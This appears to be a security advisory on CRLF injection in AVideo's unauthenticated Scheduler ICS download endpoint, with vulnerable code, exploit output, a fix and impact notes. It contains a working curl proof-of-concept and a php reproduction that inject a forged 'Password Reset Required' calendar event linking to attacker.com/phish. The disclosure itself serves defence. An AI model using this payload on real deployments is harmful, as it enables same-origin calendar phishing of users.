Summary

The unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim's calendar after import.

Details

Vulnerable code path

plugin/Scheduler/downloadICS.php — unauthenticated entry point:

if(!AVideoPlugin::isEnabledByName('Scheduler')){
    forbiddenPage('Scheduler is disabled');
}
if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); }
if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); }

Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'],
    @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']);

There is no session check, no CSRF token, no user-role check — only an empty-check on title/date_start and a plugin-enabled check.

plugin/Scheduler/Scheduler.php:367-382 passes inputs directly to the ICS builder:

$props = array(
    'location' => $location,
    'description' => $description,   // attacker-controlled
    'dtstart' => $dtstart,
    'dtend' => $dtend,
    'summary' => $title,             // attacker-controlled
    'url' => $joinURL,               // attacker-controlled
    'valarm' => $VALARM,
);
$ics = new ICS($props);
...
echo $icsString;

objects/ICS.php:167-169 — incomplete escape:

private function escape_string($str) {
    return preg_replace('/([\,;])/','\\\$1', $str);
}

Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as \n. This implementation does neither. ICS::to_string() (line 101) joins every property with "\r\n", so any raw \r\n sequence embedded in a value breaks out of the property line and injects new ICS directives.

Verified exploit output

Running the builder with a CRLF-laden description produces a file with two distinct VEVENT blocks (the second entirely attacker-controlled):

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//hacksw/handcal//NONSGML v1.0//EN
CALSCALE:GREGORIAN
BEGIN:VEVENT
DESCRIPTION:Hello
END:VEVENT
BEGIN:VEVENT
SUMMARY:Injected
URL:http://attacker.com
DTSTART:20260501T000000Z
DTEND:20260501T130000Z
SUMMARY:Legit
URL;VALUE=URI:https://example.com
DTSTAMP:20260424T082123Z
UID:69eb2803d1aa2
END:VEVENT
END:VCALENDAR

The injected BEGIN:VEVENT / END:VEVENT pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.

PoC

1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).

2. Send an unauthenticated GET request with CRLF-encoded payload in description:

curl -o malicious.ics \
  'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity'

3. The returned file contains two VEVENT blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL.

Local reproduction (without needing a running server) using the same code path:

php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();"

Produces the two-VEVENT output shown above (verified).

Impact

• Same-origin calendar phishing. The .ics is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.
• Arbitrary event spoofing. Attacker controls SUMMARY, DTSTART, DTEND, URL, LOCATION, DESCRIPTION, and may add further ICS properties (e.g. ORGANIZER, ATTENDEE). Many mainstream calendar clients display the URL field as a clickable link in the event body.
• Integrity: Low — unwanted/forged events are added to the victim's calendar after they import the file.
• Auth: None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features.
• Confidentiality / Availability: No direct impact.

Not a higher-severity response-splitting bug: PHP's header() blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body.

Recommended Fix

Strip or RFC-5545-encode CR/LF in ICS::escape_string() so newline bytes cannot break out of a property line. In objects/ICS.php:167-169:

private function escape_string($str) {
    // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n
    $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str);
    return preg_replace('/([\,;])/', '\\\\$1', $str);
}

Additionally, plugin/Scheduler/downloadICS.php should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on title, description, and joinURL — and joinURL should continue to be validated via isValidURL() (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every $_REQUEST parameter used by Scheduler::downloadICS().